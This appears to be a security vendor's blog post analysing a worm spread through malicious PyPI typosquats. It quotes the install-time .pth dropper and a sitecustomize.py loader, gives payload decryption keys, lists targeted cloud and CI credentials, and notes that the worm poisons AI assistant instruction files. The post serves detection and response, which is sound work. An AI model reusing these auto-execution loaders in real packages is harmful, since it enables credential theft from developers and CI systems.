Published on: June 9, 2026
8 min read
GitLab’s Vulnerability Research team has uncovered a new Python supply chain attack targeting PyPI, deploying the Shai-Hulud worm to steal credentials from CI/CD systems.

GitLab's Vulnerability Research team has identified a coordinated supply chain attack on PyPI deploying a copy of the Shai-Hulud malware. We found five malicious packages: four typosquats impersonating Flask, Requests, and NumPy, and one weaponized legitimate project. The packages execute code at install time, with no import or function call required, and carry a self-propagating credential stealer that targets CI/CD environments across all major cloud providers.
We confirmed that GitLab was not using any of the affected packages and are sharing our findings to help the broader security community respond effectively.
Our monitoring systems flagged five malicious PyPI packages from a single account (elitexp) on June 7, 2026. Four are typosquats:
rlask and tlask, typosquats of Flaskrsquests, a typosquat of Requestsnhmpy, a typosquat of NumPyThe fifth, mflux-streamlit, is a legitimate project with real users that the attacker weaponized by publishing malicious versions 0.0.3 and 0.0.4 after the typosquat wave.
The attacker published clean "probe" versions first, with version numbers matching the real latest releases exactly (Flask 3.1.3, Requests 2.34.2, and NumPy 2.4.6). Once these were indexed without issue, the attacker pushed new versions with the worm payload baked in.
This is a copycat deployment. TeamPCP, the group behind Shai-Hulud, open-sourced the worm's code on May 12, 2026. We've been tracking independent actors picking up the toolkit and aiming it at new targets since then. This campaign brings the same worm to the Python ecosystem.
The original npm variant used a preinstall script. This campaign takes a different approach, exploiting Python's .pth file mechanism. Wheel packages can ship .pth files that Python processes automatically on startup, requiring no explicit import. Each malicious package includes a file like rlask-setup.pth containing a one-liner dropper:
import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");
_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u...')
The dropper checks for a marker file (.bun_ran in the system temp directory) to avoid re-execution, then downloads the Bun JavaScript runtime from GitHub and uses it to execute a 5 MB obfuscated JavaScript payload bundled in the package.
Early versions of rlask also included a sitecustomize.py file as a backup execution path. Python auto-imports sitecustomize on startup, and this file searched sys.path for the hidden _index.js payload:
import subprocess, os, sys
for d in sys.path:
js = os.path.join(d, "_index.js")
if os.path.exists(js):
subprocess.run(["node", js])
break
The attacker dropped this backup mechanism in later versions, apparently finding the .pth approach sufficient on its own.
The JavaScript payload is wrapped in three layers:
[email protected], ROT-17 for rsquests, ROT-25 for tlask)_0x prefix obfuscation) on the inner payloadWe decrypted the payload through static analysis without executing any code. The first blob (907 bytes) is the Bun runtime downloader. The second blob (772 KB) is the complete Shai-Hulud credential stealer, containing 2,538 hardcoded strings.
For researchers performing their own analysis, here are the AES decryption keys:
| Layer | Key | IV |
|---|---|---|
| Bun downloader | c95506221d18936328fbc7ddcd21e3dd | 48da5faeafac0ac88a410bb0 |
| Worm payload | 7557c4e782a0622159476d1ea10d5236 | 55a7d25e0e61b77cc175bcc3 |
Once running, the worm goes after credentials across every major cloud and CI/CD platform:
GITHUB_TOKEN, personal access tokens, fine-grained tokens, OIDC tokens, organization and repository secrets, Actions artifacts, and runner process memory169[.]254[.]169[.]254), Secrets Manager entries, SSM parameters, STS federation tokens/var/run/secrets/vault-token, /etc/vault/token, /root/.vault-token, and others), plus API access and Kubernetes Vault authLike the original npm variant, this is not just a stealer. It propagates. Using stolen credentials, the worm:
.github/setup.js and workflow files to accessible GitHub repositories, causing the worm to re-execute in other CI pipelines.github/copilot-instructions.md to poison AI code assistantsAll five packages are owned by the PyPI account elitexp. The account was created in November 2024 with a legitimate package (mflux-streamlit, a Streamlit UI for image generation with 11 stars on GitHub). The associated GitHub account (github[.]com/elitexp) is 13+ years old with 43 public repositories, including university coursework and Laravel projects.
Upload metadata shows all packages were published using Bun/1.3.14 as the user-agent, the same runtime the malware downloads as part of its execution chain.
The attacker also weaponized mflux-streamlit itself. Versions 0.0.1 and 0.0.2 are clean, but Versions 0.0.3 and 0.0.4, published at 15:23 and 15:37 UTC after the typosquat campaign, contain the same .pth dropper and obfuscated payload. This makes the attack more dangerous than a typical typosquat: mflux-streamlit is a real project with existing users who may receive the poisoned update through normal dependency resolution.
| Type | Indicator | Description |
|---|---|---|
| package | rlask 3.1.4-3.1.7 | Malicious Flask typosquat |
| package | tlask 3.1.4 | Malicious Flask typosquat |
| package | rsquests 2.34.3 | Malicious Requests typosquat |
| package | nhmpy 2.4.7 | Malicious NumPy typosquat |
| package | mflux-streamlit 0.0.3, 0.0.4 | Weaponized legitimate package |
| file | {package}-setup.pth | Auto-executing dropper (SHA256: 6506d317...) |
| file | sitecustomize.py | Backup auto-execution (present in rlask only) |
| file | {package}/_index.js | Obfuscated worm payload (5.2MB) |
| file | .bun_ran | Execution marker in system temp directory |
| network | hxxps[://]github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os}-{arch}.zip | Bun runtime download |
| network | hxxps[://]upload[.]pypi[.]org/legacy/ | Worm publishes poisoned PyPI packages |
| network | hxxp[://]169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/ | AWS IMDS credential theft |
| network | hxxps[://]login[.]microsoftonline[.]com/ | Azure AD token acquisition |
| network | hxxps[://]fulcio[.]sigstore[.]dev | Sigstore certificate request |
| actor | elitexp (PyPI) | Package owner |
| actor | Bun/1.3.14 | Upload user-agent |
If any of these packages were installed in your environment:
.bun_ran marker file in your system temp directory..github/setup.js, .github/copilot-instructions.md, or modified workflow files.| Date | Event |
|---|---|
| 2026-05-12 | TeamPCP open-sources the Shai-Hulud worm |
| 2026-06-07 13:47 UTC | Probe versions published ([email protected], [email protected]) |
| 2026-06-07 14:20 UTC | First malicious version ([email protected]), detected within 28 seconds |
| 2026-06-07 14:24 UTC | Automated analysis complete, flagged as malicious/critical |
| 2026-06-07 14:27-15:04 UTC | Six more malicious versions published across all four package names |
| 2026-06-07 15:23-15:37 UTC | Attacker weaponizes their own legitimate mflux-streamlit package (v0.0.3, v0.0.4) |
| 2026-06-07 | Investigation confirms full Shai-Hulud worm via static analysis |
| 2026-06-07 16:01 UTC | All malicious packages reported to PyPI security team |
| 2026-06-08 03:15:06 UTC | Added the Advisory to GitLab Advisory Database |
| 2026-06-08 | PyPI removed all releases of the malicious packages |
If you are using GitLab Ultimate, you can use Dependency Scanning to automatically surface exposure to these packages in your projects. We have filed advisories (GMS-2026-572 through GMS-2026-576) covering all five packages in the GitLab Advisory Database. Once merged, any project with Dependency Scanning enabled will flag these packages in pipeline results and the Vulnerability Report.
For teams managing many repositories, GitLab Duo Chat with the Security Analyst Agent can help triage quickly. Ask questions like:
We expected this campaign after TeamPCP open-sourced the Shai-Hulud worm in May. Independent actors are picking up the toolkit and deploying it against new ecosystems. The Python variant uses a different initial infection vector (.pth files instead of preinstall scripts) but carries the same credential harvesting and self-propagation code underneath.
Our monitoring systems continue to track copycat deployments across npm, PyPI, and other registries. We will update this post as more information becomes available.
Find more articles from the Vulnerability Research team on our Security Labs site.
Enjoyed reading this blog post or have questions or feedback? Share your thoughts by creating a new topic in the GitLab community forum.
Share your feedback